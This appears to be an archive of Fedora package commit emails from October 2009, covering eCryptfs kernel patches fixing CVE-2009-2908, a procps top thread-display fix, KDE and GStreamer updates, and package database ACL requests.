 		s->auth_tok->token.password.session_key_encryption_key,

ecryptfs-handle-unrecognized-tag-3-cipher-codes.patch:
 crypto.c   |    1 +
 keystore.c |   10 +++++++---
 2 files changed, 8 insertions(+), 3 deletions(-)

--- NEW FILE ecryptfs-handle-unrecognized-tag-3-cipher-codes.patch ---
>From b0105eaefa7cce8f4a941d0fc6354b250d30e745 Mon Sep 17 00:00:00 2001
From: Tyler Hicks <tyhicks at linux.vnet.ibm.com>
Date: Tue, 11 Aug 2009 00:36:32 -0500
Subject: eCryptfs: Handle unrecognized tag 3 cipher codes

From: Tyler Hicks <tyhicks at linux.vnet.ibm.com>

commit b0105eaefa7cce8f4a941d0fc6354b250d30e745 upstream.

Returns an error when an unrecognized cipher code is present in a tag 3
packet or an ecryptfs_crypt_stat cannot be initialized.  Also sets an
crypt_stat->tfm error pointer to NULL to ensure that it will not be
incorrectly freed in ecryptfs_destroy_crypt_stat().

Acked-by: Serge Hallyn <serue at us.ibm.com>
Cc: ecryptfs-devel at lists.launchpad.net
Signed-off-by: Tyler Hicks <tyhicks at linux.vnet.ibm.com>
Signed-off-by: Greg Kroah-Hartman <gregkh at suse.de>

---
 fs/ecryptfs/crypto.c   |    1 +
 fs/ecryptfs/keystore.c |   10 +++++++---
 2 files changed, 8 insertions(+), 3 deletions(-)

--- a/fs/ecryptfs/crypto.c
+++ b/fs/ecryptfs/crypto.c
@@ -797,6 +797,7 @@ int ecryptfs_init_crypt_ctx(struct ecryp
 	kfree(full_alg_name);
 	if (IS_ERR(crypt_stat->tfm)) {
 		rc = PTR_ERR(crypt_stat->tfm);
+		crypt_stat->tfm = NULL;
 		ecryptfs_printk(KERN_ERR, "cryptfs: init_crypt_ctx(): "
 				"Error initializing cipher [%s]\n",
 				crypt_stat->cipher);
--- a/fs/ecryptfs/keystore.c
+++ b/fs/ecryptfs/keystore.c
@@ -1316,8 +1316,10 @@ parse_tag_3_packet(struct ecryptfs_crypt
 		rc = -EINVAL;
 		goto out_free;
 	}
-	ecryptfs_cipher_code_to_string(crypt_stat->cipher,
-				       (u16)data[(*packet_size)]);
+	rc = ecryptfs_cipher_code_to_string(crypt_stat->cipher,
+					    (u16)data[(*packet_size)]);
+	if (rc)
+		goto out_free;
 	/* A little extra work to differentiate among the AES key
 	 * sizes; see RFC2440 */
 	switch(data[(*packet_size)++]) {
@@ -1328,7 +1330,9 @@ parse_tag_3_packet(struct ecryptfs_crypt
 		crypt_stat->key_size =
 			(*new_auth_tok)->session_key.encrypted_key_size;
 	}
-	ecryptfs_init_crypt_ctx(crypt_stat);
+	rc = ecryptfs_init_crypt_ctx(crypt_stat);
+	if (rc)
+		goto out_free;
 	if (unlikely(data[(*packet_size)++] != 0x03)) {
 		printk(KERN_WARNING "Only S2K ID 3 is currently supported\n");
 		rc = -ENOSYS;

ecryptfs-prevent-lower-dentry-from-going-negative-during-unlink.patch:
 inode.c |    2 ++
 1 file changed, 2 insertions(+)

--- NEW FILE ecryptfs-prevent-lower-dentry-from-going-negative-during-unlink.patch ---
>From 9c2d2056647790c5034d722bd24e9d913ebca73c Mon Sep 17 00:00:00 2001
From: Tyler Hicks <tyhicks at linux.vnet.ibm.com>
Date: Tue, 22 Sep 2009 12:52:17 -0500
Subject: eCryptfs: Prevent lower dentry from going negative during unlink
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

From: Tyler Hicks <tyhicks at linux.vnet.ibm.com>

commit 9c2d2056647790c5034d722bd24e9d913ebca73c upstream.

When calling vfs_unlink() on the lower dentry, d_delete() turns the
dentry into a negative dentry when the d_count is 1.  This eventually
caused a NULL pointer deref when a read() or write() was done and the
negative dentry's d_inode was dereferenced in
ecryptfs_read_update_atime() or ecryptfs_getxattr().

Placing mutt's tmpdir in an eCryptfs mount is what initially triggered
the oops and I was able to reproduce it with the following sequence:

open("/tmp/upper/foo", O_RDWR|O_CREAT|O_EXCL|O_NOFOLLOW, 0600) = 3
link("/tmp/upper/foo", "/tmp/upper/bar") = 0
unlink("/tmp/upper/foo")                = 0
open("/tmp/upper/bar", O_RDWR|O_CREAT|O_NOFOLLOW, 0600) = 4
unlink("/tmp/upper/bar")                = 0
write(4, "eCryptfs test\n"..., 14 <unfinished ...>
+++ killed by SIGKILL +++

https://bugs.launchpad.net/ecryptfs/+bug/387073

Reported-by: Lo?c Minier <loic.minier at canonical.com>
Cc: Serge Hallyn <serue at us.ibm.com>
Cc: Dave Kleikamp <shaggy at linux.vnet.ibm.com>
Cc: ecryptfs-devel at lists.launchpad.net
Signed-off-by: Tyler Hicks <tyhicks at linux.vnet.ibm.com>
Signed-off-by: Greg Kroah-Hartman <gregkh at suse.de>

---
 fs/ecryptfs/inode.c |    2 ++
 1 file changed, 2 insertions(+)

--- a/fs/ecryptfs/inode.c
+++ b/fs/ecryptfs/inode.c
@@ -476,6 +476,7 @@ static int ecryptfs_unlink(struct inode 
 	struct inode *lower_dir_inode = ecryptfs_inode_to_lower(dir);
 	struct dentry *lower_dir_dentry;
 
+	dget(lower_dentry);
 	lower_dir_dentry = lock_parent(lower_dentry);
 	rc = vfs_unlink(lower_dir_inode, lower_dentry);
 	if (rc) {
@@ -489,6 +490,7 @@ static int ecryptfs_unlink(struct inode 
 	d_drop(dentry);
 out_unlock:
 	unlock_dir(lower_dir_dentry);
+	dput(lower_dentry);
 	return rc;
 }
 

ecryptfs-validate-global-auth-tok-keys.patch:
 keystore.c |    4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

--- NEW FILE ecryptfs-validate-global-auth-tok-keys.patch ---
>From 3891959846709a19f76628e33478cd85edb0e79f Mon Sep 17 00:00:00 2001
From: Tyler Hicks <tyhicks at linux.vnet.ibm.com>
Date: Wed, 26 Aug 2009 01:54:56 -0500
Subject: eCryptfs: Validate global auth tok keys

From: Tyler Hicks <tyhicks at linux.vnet.ibm.com>

commit 3891959846709a19f76628e33478cd85edb0e79f upstream.

When searching through the global authentication tokens for a given key
signature, verify that a matching key has not been revoked and has not
expired.  This allows the `keyctl revoke` command to be properly used on
keys in use by eCryptfs.

Acked-by: Serge Hallyn <serue at us.ibm.com>
Cc: ecryptfs-devel at lists.launchpad.net
Signed-off-by: Tyler Hicks <tyhicks at linux.vnet.ibm.com>
Signed-off-by: Greg Kroah-Hartman <gregkh at suse.de>

---
 fs/ecryptfs/keystore.c |    4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

--- a/fs/ecryptfs/keystore.c
+++ b/fs/ecryptfs/keystore.c
@@ -416,7 +416,9 @@ ecryptfs_find_global_auth_tok_for_sig(
 			    &mount_crypt_stat->global_auth_tok_list,
 			    mount_crypt_stat_list) {
 		if (memcmp(walker->sig, sig, ECRYPTFS_SIG_SIZE_HEX) == 0) {
-			(*global_auth_tok) = walker;
+			rc = key_validate(walker->global_auth_tok_key);
+			if (!rc)
+				(*global_auth_tok) = walker;
 			goto out;
 		}
 	}


Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-11/kernel.spec,v
retrieving revision 1.1755
retrieving revision 1.1756
diff -u -p -r1.1755 -r1.1756
--- kernel.spec	6 Oct 2009 12:37:23 -0000	1.1755
+++ kernel.spec	7 Oct 2009 10:10:43 -0000	1.1756
@@ -614,6 +614,12 @@ Patch150: linux-2.6.29-sparc-IOC_TYPECHE
 Patch160: linux-2.6-execshield.patch
 
 Patch200: linux-2.6-ext4-prealloc-fixes.patch
+# eCryptfs fixes taken from 2.6.31.2 (fixes CVE-2009-2908)
+Patch210: ecryptfs-handle-unrecognized-tag-3-cipher-codes.patch
+Patch211: ecryptfs-check-for-o_rdonly-lower-inodes-when-opening-lower-files.patch
+Patch212: ecryptfs-filename-encryption-only-supports-password-auth-tokens.patch
+Patch213: ecryptfs-validate-global-auth-tok-keys.patch
+Patch214: ecryptfs-prevent-lower-dentry-from-going-negative-during-unlink.patch
 
 Patch250: linux-2.6-debug-sizeof-structs.patch
 Patch260: linux-2.6-debug-nmi-timeout.patch
@@ -1248,6 +1254,14 @@ ApplyPatch linux-2.6-execshield.patch
 
 # ecryptfs
 
+# 5 fixes from 2.6.31.2
+ApplyPatch ecryptfs-handle-unrecognized-tag-3-cipher-codes.patch
+ApplyPatch ecryptfs-check-for-o_rdonly-lower-inodes-when-opening-lower-files.patch
+ApplyPatch ecryptfs-filename-encryption-only-supports-password-auth-tokens.patch
+ApplyPatch ecryptfs-validate-global-auth-tok-keys.patch
+# fixes CVE-2009-2908
+ApplyPatch ecryptfs-prevent-lower-dentry-from-going-negative-during-unlink.patch
+
 # nfs
 
 # cifs
@@ -2032,6 +2046,9 @@ fi
 # and build.
 
 %changelog
+* Wed Oct 07 2009  Chuck Ebbert <cebbert at redhat.com>  2.6.30.9-77
+- eCryptfs fixes taken from 2.6.31.2 (fixes CVE-2009-2908)
+
 * Tue Oct 06 2009  Chuck Ebbert <cebbert at redhat.com>  2.6.30.9-76
 - fix race in forcedeth network driver (#526546)
 



From dnovotny at fedoraproject.org  Wed Oct  7 10:24:55 2009
From: dnovotny at fedoraproject.org (Daniel Novotny)
Date: Wed,  7 Oct 2009 10:24:55 +0000 (UTC)
Subject: rpms/procps/devel procps-3.2.8-threads.patch, NONE, 1.1 procps.spec,
	1.82, 1.83
Message-ID: <20091007102455.A577511C00E6@cvs1.fedora.phx.redhat.com>

Author: dnovotny

Update of /cvs/extras/rpms/procps/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3847

Modified Files:
	procps.spec 
Added Files:
	procps-3.2.8-threads.patch 
Log Message:
fix #510181


procps-3.2.8-threads.patch:
 top.c |   11 +++++++++--
 1 file changed, 9 insertions(+), 2 deletions(-)

--- NEW FILE procps-3.2.8-threads.patch ---
diff -up procps-3.2.8/top.c.threads procps-3.2.8/top.c
--- procps-3.2.8/top.c.threads	2009-10-01 07:14:43.000000000 -0400
+++ procps-3.2.8/top.c	2009-10-05 14:05:00.000000000 -0400
@@ -1138,6 +1138,7 @@ static proc_t **procs_refresh (proc_t **
 #define ENTsz  sizeof(proc_t)
    static unsigned savmax = 0;          // first time, Bypass: (i)
    proc_t *ptsk = (proc_t *)-1;         // first time, Force: (ii)
+   proc_t *saved_ptsk;
    unsigned curmax = 0;                 // every time  (jeeze)
    PROCTAB* PT;
    static int show_threads_was_enabled = 0; // optimization
@@ -1172,6 +1173,10 @@ static proc_t **procs_refresh (proc_t **
       while (curmax < savmax) {
          proc_t *ttsk;
          if (unlikely(!(ptsk = readproc(PT, NULL)))) break;
+	 if(!show_threads_was_enabled)
+             saved_ptsk = ptsk;
+	 else
+	     saved_ptsk = NULL;
          show_threads_was_enabled = 1;
          while (curmax < savmax) {
             unsigned idx;
@@ -1189,7 +1194,7 @@ static proc_t **procs_refresh (proc_t **
             prochlp(ttsk);
             ++curmax;
          }
-         free(ptsk);  // readproc() proc_t not used
+         if(!saved_ptsk) free(ptsk);  // readproc() proc_t not used
       }
    }
 
@@ -1208,7 +1213,8 @@ static proc_t **procs_refresh (proc_t **
    else {                          // show each thread in a process separately
       while (ptsk) {
          proc_t *ttsk;
-         if (likely(ptsk = readproc(PT, NULL))) {
+         if (likely(ptsk = readproc(PT, NULL)) || 
+             unlikely(saved_ptsk && (ptsk = saved_ptsk)) ) {
             show_threads_was_enabled = 1;
             while (1) {
                table = alloc_r(table, (curmax + 1) * PTRsz);
@@ -1216,6 +1222,7 @@ static proc_t **procs_refresh (proc_t **
                prochlp(ttsk);
                table[curmax++] = ttsk;
             }
+            saved_ptsk = NULL;
             free(ptsk);   // readproc() proc_t not used
          }
       }


Index: procps.spec
===================================================================
RCS file: /cvs/extras/rpms/procps/devel/procps.spec,v
retrieving revision 1.82
retrieving revision 1.83
diff -u -p -r1.82 -r1.83
--- procps.spec	26 Jul 2009 19:27:24 -0000	1.82
+++ procps.spec	7 Oct 2009 10:24:55 -0000	1.83
@@ -1,7 +1,7 @@
 Summary: System and process monitoring utilities
 Name: procps
 Version: 3.2.8
-Release: 2%{?dist}
+Release: 3%{?dist}
 License: GPLv2+ and LGPLv2+
 Group: Applications/System
 URL: http://procps.sourceforge.net
@@ -82,7 +82,8 @@ Patch41: procps-3.2.7-ps-cgroup.patch
 Patch42: procps-3.2.7-vmstat-partstats-reqwrites.patch
 # '-l' option of 'free' documented
 Patch43: procps-3.2.7-free-hlmem.patch
-
+# bug in showing threads fixed
+Patch44: procps-3.2.8-threads.patch
 
 BuildRequires: ncurses-devel
 
@@ -147,6 +148,7 @@ working directory of a process or proces
 %patch41 -p1
 %patch42 -p1
 %patch43 -p1
+%patch44 -p1
 
 cp %SOURCE1 .
 
@@ -184,6 +186,10 @@ rm -rf %{buildroot}
 %attr(0644,root,root) %{_mandir}/man5/*
 
 %changelog
+* Wed Oct 07 2009 Daniel Novotny <dnovotny at redhat.com> 3.2.8-3
+- fix #510181 -  top doesn't add all threads if using pid option 
+                 and turn on show threads interactively
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 3.2.8-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From hadess at fedoraproject.org  Wed Oct  7 10:26:09 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Wed,  7 Oct 2009 10:26:09 +0000 (UTC)
Subject: rpms/gstreamer-plugins-good/F-11 .cvsignore, 1.18,
	1.19 gstreamer-plugins-good.spec, 1.98, 1.99 sources, 1.18,
	1.19 0001-flacdec-fix-intermittent-FLAC__STREAM_DECODER_ABORTE.patch, 
	1.1, NONE
Message-ID: <20091007102609.51A1611C00E6@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/gstreamer-plugins-good/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4828

Modified Files:
	.cvsignore gstreamer-plugins-good.spec sources 
Removed Files:
	0001-flacdec-fix-intermittent-FLAC__STREAM_DECODER_ABORTE.patch 
Log Message:
* Wed Oct 07 2009 Bastien Nocera <bnocera at redhat.com> 0.10.16-1
- Update to 0.10.16



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gstreamer-plugins-good/F-11/.cvsignore,v
retrieving revision 1.18
retrieving revision 1.19
diff -u -p -r1.18 -r1.19
--- .cvsignore	20 May 2009 23:25:27 -0000	1.18
+++ .cvsignore	7 Oct 2009 10:26:08 -0000	1.19
@@ -1 +1 @@
-gst-plugins-good-0.10.15.tar.bz2
+gst-plugins-good-0.10.16.tar.bz2


Index: gstreamer-plugins-good.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gstreamer-plugins-good/F-11/gstreamer-plugins-good.spec,v
retrieving revision 1.98
retrieving revision 1.99
diff -u -p -r1.98 -r1.99
--- gstreamer-plugins-good.spec	21 Jul 2009 20:59:49 -0000	1.98
+++ gstreamer-plugins-good.spec	7 Oct 2009 10:26:09 -0000	1.99
@@ -5,8 +5,8 @@
 %define         _gstpb          0.10.17
 
 Name: 		%{gstreamer}-plugins-good
-Version: 	0.10.15
-Release:  	4%{?dist}
+Version: 	0.10.16
+Release:  	1%{?dist}
 Summary: 	GStreamer plug-ins with good code and licensing
 
 Group: 		Applications/Multimedia
@@ -71,8 +71,6 @@ BuildRequires: automake autoconf libtool
 Provides: gstreamer-plugins-farsight = 0.12.12-1
 Obsoletes: gstreamer-plugins-farsight < 0.12.12
 
-Patch1: 0001-flacdec-fix-intermittent-FLAC__STREAM_DECODER_ABORTE.patch
-
 %description
 GStreamer is a streaming media framework, based on graphs of filters which
 operate on media data. Applications using this library can do anything
@@ -110,7 +108,6 @@ This is a dummy package to make gstreame
 %patch0 -p1 -b .farsight
 libtoolize -f
 autoreconf
-%patch1 -p1 -b .flac
 
 %build
 
@@ -274,6 +271,9 @@ export GCONF_CONFIG_SOURCE=`gconftool-2 
 gconftool-2 --makefile-install-rule %{_sysconfdir}/gconf/schemas/gstreamer-%{majorminor}.schemas > /dev/null || :
 
 %changelog
+* Wed Oct 07 2009 Bastien Nocera <bnocera at redhat.com> 0.10.16-1
+- Update to 0.10.16
+
 * Tue Jul 21 2009 Bastien Nocera <bnocera at redhat.com> 0.10.15-4
 - Fix FLAC seeking
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gstreamer-plugins-good/F-11/sources,v
retrieving revision 1.18
retrieving revision 1.19
diff -u -p -r1.18 -r1.19
--- sources	20 May 2009 23:25:27 -0000	1.18
+++ sources	7 Oct 2009 10:26:09 -0000	1.19
@@ -1 +1 @@
-19bc6cc07951b3382d1ac8525b20e83f  gst-plugins-good-0.10.15.tar.bz2
+f0af97464bb6e060a99df39bb21b7a42  gst-plugins-good-0.10.16.tar.bz2


--- 0001-flacdec-fix-intermittent-FLAC__STREAM_DECODER_ABORTE.patch DELETED ---



From than at fedoraproject.org  Wed Oct  7 10:32:01 2009
From: than at fedoraproject.org (Than Ngo)
Date: Wed,  7 Oct 2009 10:32:01 +0000 (UTC)
Subject: rpms/kdebase/devel kdebase-4.3.2-dolphin-kde#202176.patch, NONE,
	1.1 kdebase.spec, 1.397, 1.398
Message-ID: <20091007103201.247ED11C00E6@cvs1.fedora.phx.redhat.com>

Author: than

Update of /cvs/extras/rpms/kdebase/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5886

Modified Files:
	kdebase.spec 
Added Files:
	kdebase-4.3.2-dolphin-kde#202176.patch 
Log Message:
fix Dolphin crash (regression)


kdebase-4.3.2-dolphin-kde#202176.patch:
 terminalpanel.cpp |    6 ++----
 1 file changed, 2 insertions(+), 4 deletions(-)

--- NEW FILE kdebase-4.3.2-dolphin-kde#202176.patch ---
diff -up kdebase-4.3.2/apps/dolphin/src/panels/terminal/terminalpanel.cpp.orig kdebase-4.3.2/apps/dolphin/src/panels/terminal/terminalpanel.cpp
--- kdebase-4.3.2/apps/dolphin/src/panels/terminal/terminalpanel.cpp.orig	2009-10-07 12:28:46.000000000 +0200
+++ kdebase-4.3.2/apps/dolphin/src/panels/terminal/terminalpanel.cpp	2009-10-07 12:31:09.000000000 +0200
@@ -23,7 +23,6 @@
 #include <kde_terminal_interface_v2.h>
 #include <kparts/part.h>
 #include <kshell.h>
-#include <kio/netaccess.h>
 
 #include <QBoxLayout>
 #include <QShowEvent>
@@ -58,13 +57,12 @@ void TerminalPanel::setUrl(const KUrl& u
     }
 
     Panel::setUrl(url);
-    KUrl mostLocalUrl = KIO::NetAccess::mostLocalUrl(url, 0);
     const bool sendInput = (m_terminal != 0)
                            && (m_terminal->foregroundProcessId() == -1)
                            && isVisible()
-                           && mostLocalUrl.isLocalFile();
+                           && url.isLocalFile();
     if (sendInput) {
-        m_terminal->sendInput("cd " + KShell::quoteArg(mostLocalUrl.toLocalFile()) + '\n');
+        m_terminal->sendInput("cd " + KShell::quoteArg(url.toLocalFile()) + '\n');
     }
 
 }


Index: kdebase.spec
===================================================================
RCS file: /cvs/extras/rpms/kdebase/devel/kdebase.spec,v
retrieving revision 1.397
retrieving revision 1.398
diff -u -p -r1.397 -r1.398
--- kdebase.spec	4 Oct 2009 10:11:05 -0000	1.397
+++ kdebase.spec	7 Oct 2009 10:32:00 -0000	1.398
@@ -1,7 +1,7 @@
 Name: kdebase
 Summary: K Desktop Environment 4 - Core Files
 Version: 4.3.2
-Release: 1%{?dist}
+Release: 2%{?dist}
 Epoch: 6
 
 License: GPLv2
@@ -15,6 +15,9 @@ Patch0:   kdebase-4.1.80-nsplugins-paths
 Patch1:   kdebase-4.1.70-konsole-session.patch
 Patch2:   kdebase-4.2.1-home-icon.patch
 
+# 4.3 upstream patches
+Patch100: kdebase-4.3.2-dolphin-kde#202176.patch
+
 %ifnarch s390 s390x
 Requires: eject
 %endif
@@ -107,6 +110,9 @@ Requires: kdelibs4-devel kdepimlibs4-dev
 %patch1 -p1 -b .konsole-session
 %patch2 -p1 -b .home-icon
 
+# 4.3 upstream patches
+%patch100 -p1 -b .dolphin-kde#202176
+
 # fix incorrect assumption that we're building in a combined kdebase tree
 sed -i -e 's/EXISTS "${kdebase_SOURCE_DIR}"/0/g' apps/CMakeLists.txt
 
@@ -228,6 +234,9 @@ fi
 
 
 %changelog
+* Wed Oct 07 2009 Than Ngo <than at redhat.com> - 4.3.2-2
+- fix Dolphin crash (regression)
+
 * Sun Oct 04 2009 Than Ngo <than at redhat.com> - 4.3.2-1
 - 4.3.2
 



From pkgdb at fedoraproject.org  Wed Oct  7 10:33:56 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 07 Oct 2009 10:33:56 +0000
Subject: [pkgdb] binutils: vda has requested commit
Message-ID: <20091007103357.3044510F892@bastion2.fedora.phx.redhat.com>

vda has requested the commit acl on binutils (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/binutils



From pkgdb at fedoraproject.org  Wed Oct  7 10:34:02 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 07 Oct 2009 10:34:02 +0000
Subject: [pkgdb] binutils: vda has requested watchcommits
Message-ID: <20091007103402.D73AE10F8A1@bastion2.fedora.phx.redhat.com>

vda has requested the watchcommits acl on binutils (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/binutils



From pkgdb at fedoraproject.org  Wed Oct  7 10:34:05 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 07 Oct 2009 10:34:05 +0000
Subject: [pkgdb] binutils: vda has requested watchbugzilla
Message-ID: <20091007103405.4D5B510F8A8@bastion2.fedora.phx.redhat.com>

vda has requested the watchbugzilla acl on binutils (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/binutils



From mmaslano at fedoraproject.org  Wed Oct  7 10:36:35 2009
From: mmaslano at fedoraproject.org (=?utf-8?b?TWFyY2VsYSBNYcWhbMOhxYhvdsOh?=)
Date: Wed,  7 Oct 2009 10:36:35 +0000 (UTC)
Subject: rpms/perl-UNIVERSAL-can/devel .cvsignore, 1.3,
	1.4 perl-UNIVERSAL-can.spec, 1.6, 1.7 sources, 1.3, 1.4
Message-ID: <20091007103635.564C411C00E6@cvs1.fedora.phx.redhat.com>

Author: mmaslano

Update of /cvs/pkgs/rpms/perl-UNIVERSAL-can/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6799

Modified Files:
	.cvsignore perl-UNIVERSAL-can.spec sources 
Log Message:
* Wed Oct  7 2009 Marcela Ma?l??ov? <mmaslano at redhat.com> - 1.15-1
- update to new upstream release



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/perl-UNIVERSAL-can/devel/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	5 Apr 2006 19:28:05 -0000	1.3
+++ .cvsignore	7 Oct 2009 10:36:34 -0000	1.4
@@ -1 +1 @@
-UNIVERSAL-can-1.12.tar.gz
+UNIVERSAL-can-1.15.tar.gz


Index: perl-UNIVERSAL-can.spec
===================================================================
RCS file: /cvs/pkgs/rpms/perl-UNIVERSAL-can/devel/perl-UNIVERSAL-can.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- perl-UNIVERSAL-can.spec	26 Jul 2009 17:20:47 -0000	1.6
+++ perl-UNIVERSAL-can.spec	7 Oct 2009 10:36:35 -0000	1.7
@@ -1,6 +1,6 @@
 Name:           perl-UNIVERSAL-can
-Version:        1.12
-Release:        4%{?dist}
+Version:        1.15
+Release:        1%{?dist}
 Summary:        Hack around people calling UNIVERSAL::can() as a function
 
 Group:          Development/Libraries
@@ -43,7 +43,6 @@ chmod -R u+w $RPM_BUILD_ROOT/*
 
 
 %check
-mv t/developer/0-signature.t t/developer/0-signature.t.disable
 PERL_RUN_ALL_TESTS=1 ./Build test
 
 
@@ -59,6 +58,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Wed Oct  7 2009 Marcela Ma?l??ov? <mmaslano at redhat.com> - 1.15-1
+- update to new upstream release
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.12-4
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/perl-UNIVERSAL-can/devel/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	5 Apr 2006 19:28:05 -0000	1.3
+++ sources	7 Oct 2009 10:36:35 -0000	1.4
@@ -1 +1 @@
-4386c4f7479447fc5b51e8c3770cd2f4  UNIVERSAL-can-1.12.tar.gz
+d08a0bdedccadebed359f2c0a7b5afbb  UNIVERSAL-can-1.15.tar.gz



From ltinkl at fedoraproject.org  Wed Oct  7 10:36:40 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
Date: Wed,  7 Oct 2009 10:36:40 +0000 (UTC)
Subject: rpms/kdeedu/F-10 .cvsignore, 1.64, 1.65 kdeedu.spec, 1.158,
	1.159 sources, 1.66, 1.67
Message-ID: <20091007103640.466F811C00E6@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/kdeedu/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6693/F-10

Modified Files:
	.cvsignore kdeedu.spec sources 
Log Message:
KDE 4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kdeedu/F-10/.cvsignore,v
retrieving revision 1.64
retrieving revision 1.65
diff -u -p -r1.64 -r1.65
--- .cvsignore	1 Sep 2009 17:24:24 -0000	1.64
+++ .cvsignore	7 Oct 2009 10:36:39 -0000	1.65
@@ -1 +1 @@
-kdeedu-4.3.1.tar.bz2
+kdeedu-4.3.2.tar.bz2


Index: kdeedu.spec
===================================================================
RCS file: /cvs/extras/rpms/kdeedu/F-10/kdeedu.spec,v
retrieving revision 1.158
retrieving revision 1.159
diff -u -p -r1.158 -r1.159
--- kdeedu.spec	29 Sep 2009 20:54:45 -0000	1.158
+++ kdeedu.spec	7 Oct 2009 10:36:39 -0000	1.159
@@ -6,8 +6,8 @@
 
 Name:    kdeedu
 Summary: Educational/Edutainment applications
-Version: 4.3.1
-Release: 4%{?dist}
+Version: 4.3.2
+Release: 1%{?dist}
 
 License: GPLv2
 Group:	 Amusements/Games
@@ -487,6 +487,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
+- 4.3.2
+
 * Tue Sep 29 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.1-4
 - kdeedu-marble multilib fixes (rebuild for digikam botch)
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/kdeedu/F-10/sources,v
retrieving revision 1.66
retrieving revision 1.67
diff -u -p -r1.66 -r1.67
--- sources	1 Sep 2009 17:24:25 -0000	1.66
+++ sources	7 Oct 2009 10:36:40 -0000	1.67
@@ -1 +1 @@
-f283c3727e3507e548e43b84a28def7d  kdeedu-4.3.1.tar.bz2
+d96d87627471d5b34ccfbb44a5fa50f8  kdeedu-4.3.2.tar.bz2



From ltinkl at fedoraproject.org  Wed Oct  7 10:36:41 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
Date: Wed,  7 Oct 2009 10:36:41 +0000 (UTC)
Subject: rpms/kdeedu/F-12 .cvsignore, 1.70, 1.71 kdeedu.spec, 1.209,
	1.210 sources, 1.71, 1.72
Message-ID: <20091007103641.2AB1811C00E6@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/kdeedu/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6693/F-12

Modified Files:
	.cvsignore kdeedu.spec sources 
Log Message:
KDE 4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kdeedu/F-12/.cvsignore,v
retrieving revision 1.70
retrieving revision 1.71
diff -u -p -r1.70 -r1.71
--- .cvsignore	1 Sep 2009 17:24:25 -0000	1.70
+++ .cvsignore	7 Oct 2009 10:36:40 -0000	1.71
@@ -1 +1 @@
-kdeedu-4.3.1.tar.bz2
+kdeedu-4.3.2.tar.bz2


Index: kdeedu.spec
===================================================================
RCS file: /cvs/extras/rpms/kdeedu/F-12/kdeedu.spec,v
retrieving revision 1.209
retrieving revision 1.210
diff -u -p -r1.209 -r1.210
--- kdeedu.spec	29 Sep 2009 20:47:54 -0000	1.209
+++ kdeedu.spec	7 Oct 2009 10:36:40 -0000	1.210
@@ -6,8 +6,8 @@
 
 Name:    kdeedu
 Summary: Educational/Edutainment applications
-Version: 4.3.1
-Release: 4%{?dist}
+Version: 4.3.2
+Release: 1%{?dist}
 
 License: GPLv2
 Group:	 Amusements/Games
@@ -487,6 +487,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
+- 4.3.2
+
 * Tue Sep 29 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.1-4
 - kdeedu-marble multilib fixes (rebuild for digikam botch)
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/kdeedu/F-12/sources,v
retrieving revision 1.71
retrieving revision 1.72
diff -u -p -r1.71 -r1.72
--- sources	28 Aug 2009 13:18:32 -0000	1.71
+++ sources	7 Oct 2009 10:36:40 -0000	1.72
@@ -1 +1 @@
-f283c3727e3507e548e43b84a28def7d  kdeedu-4.3.1.tar.bz2
+d96d87627471d5b34ccfbb44a5fa50f8  kdeedu-4.3.2.tar.bz2



From ltinkl at fedoraproject.org  Wed Oct  7 10:36:40 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
Date: Wed,  7 Oct 2009 10:36:40 +0000 (UTC)
Subject: rpms/kdeedu/F-11 .cvsignore, 1.67, 1.68 kdeedu.spec, 1.186,
